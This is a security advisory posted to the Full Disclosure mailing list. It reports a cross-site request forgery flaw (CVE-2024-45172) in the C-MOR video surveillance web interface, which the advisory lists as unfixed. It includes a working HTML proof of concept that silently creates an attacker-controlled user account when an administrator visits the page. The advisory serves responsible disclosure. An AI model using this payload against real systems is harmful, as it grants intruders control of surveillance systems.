full-disclosure - [FD] [SYSS-2024-022]: C-MOR Video Surveillance - Cross-Site Request Forgery (CWE-352)

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Message-ID: <39c7506b-8104-4259-a398-d36ff0b41aa7@syss.de>
Date: Wed, 4 Sep 2024 08:11:47 +0200
From: Matthias Deeg via Fulldisclosure <fulldisclosure@...lists.org>
To: <fulldisclosure@...lists.org>
Subject: [FD] [SYSS-2024-022]: C-MOR Video Surveillance - Cross-Site Request
 Forgery (CWE-352)

Advisory ID:               SYSS-2024-022
Product:                   C-MOR Video Surveillance
Manufacturer:              za-internet GmbH
Affected Version(s):       5.2401, 6.00PL01
Tested Version(s):         5.2401, 6.00PL01
Vulnerability Type:        Cross-Site Request Forgery (CWE-352)
Risk Level:                Medium
Solution Status:           Open
Manufacturer Notification: 2024-04-05
Solution Date:             -
Public Disclosure:         2024-09-04
CVE Reference:             CVE-2024-45172
Authors of Advisory:       Chris Beiter, Frederik Beimgraben,
                            and Matthias Deeg

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Overview:

The software product C-MOR is an IP video surveillance system.

The manufacturer describes the product as follows:

"With C-MOR video surveillance, it is possible to check your
surveillance over network and the Internet. You can access the live
view as well as previous recordings from any PC or mobile device.
C-MOR is managed and controlled over the C-MOR web interface.
IP settings, camera recording setup, user rights and so on are set
over the web without the installation of any software on the
client."[1]

Due to missing protection mechanisms, the C-MOR web interface is
vulnerable to cross-site request forgery (CSRF) attacks.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vulnerability Details:

The C-MOR web interface does not offer any protection against CSRF
attacks. These kinds of attacks force end users respectively their web
browsers to perform unwanted actions in a web application context in
which they are currently authenticated.

CSRF attacks specifically target state-changing requests, for example in
order to enable or disable a feature, and not data theft, as an attacker
usually has no possibility to see the response of the forged request.

In general, CSRF attacks are conducted with the help of the victim, for
example by a user visiting an attacker-controlled URL sent by e-mail in
their web browser. Often, CSRF attacks make use of cross-site scripting
attacks, but this is not mandatory.

CSRF attacks can also be performed against a web application if a victim
is only visiting an attacker-controlled web server. In this case, the
attacker-controlled web server is used to generate a specially crafted
HTTP request in the context of the user's web browser which is then sent
to the vulnerable target web application.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Proof of Concept (PoC):

The following HTML file containing a web form generates a simple
crafted HTTP POST request that creates a new user:

<html>
     <body onload="document.forms[0].submit()">
         <form action="https://<HOST>/dosetpassword.pml" method="POST">
             <input type="hidden" name="user" value="attacker" />
             <input type="hidden" name="user_fullname" value="Attacker" />
             <input type="hidden" name="pw1" value="password" />
             <input type="hidden" name="pw2" value="password" />
         </form>
     </body>
</html>

When an authenticated C-MOR user with administrative privileges
visits a web server hosting this HTML file, a new attacker-controlled
user is created.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Solution:

There is no fix for this security issue.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclosure Timeline:

2024-04-05: Vulnerability reported to manufacturer
2024-04-05: Manufacturer acknowledges receipt of security advisories
2024-04-08: Exchange regarding security updates and disclosure timeline
2024-05-08: Further exchange concerning security updates and disclosure
             timeline; public release of all security advisories
             scheduled for release of C-MOR Video Surveillance version 6
2024-05-10: Release of C-MOR software version 5.30 with security updates
             for some reported security issues
2024-07-19: E-mail to manufacturer concerning release date of C-MOR
             Video Surveillance version 6; response with planned
             release date of 2024-08-01
2024-07-30: E-mail from manufacturer with further information
             concerning security fixes
2024-07-31: Release of C-MOR software version 6.00PL1
2024-09-04: Public release of security advisory

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

References:

[1] Product website for C-MOR Video Surveillance
     https://www.c-mor.com/
[2] SySS Security Advisory SYSS-2024-022

https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2024-022.txt
[3] SySS Responsible Disclosure Policy
     https://www.syss.de/en/responsible-disclosure-policy/

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Credits:

This security vulnerability was found by Chris Beiter and Frederik
Beimgraben.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclaimer:

The information provided in this security advisory is provided "as is"
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS Web
site.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Copyright:

Creative Commons - Attribution (by) - Version 3.0
URL: http://creativecommons.org/licenses/by/3.0/deed.en

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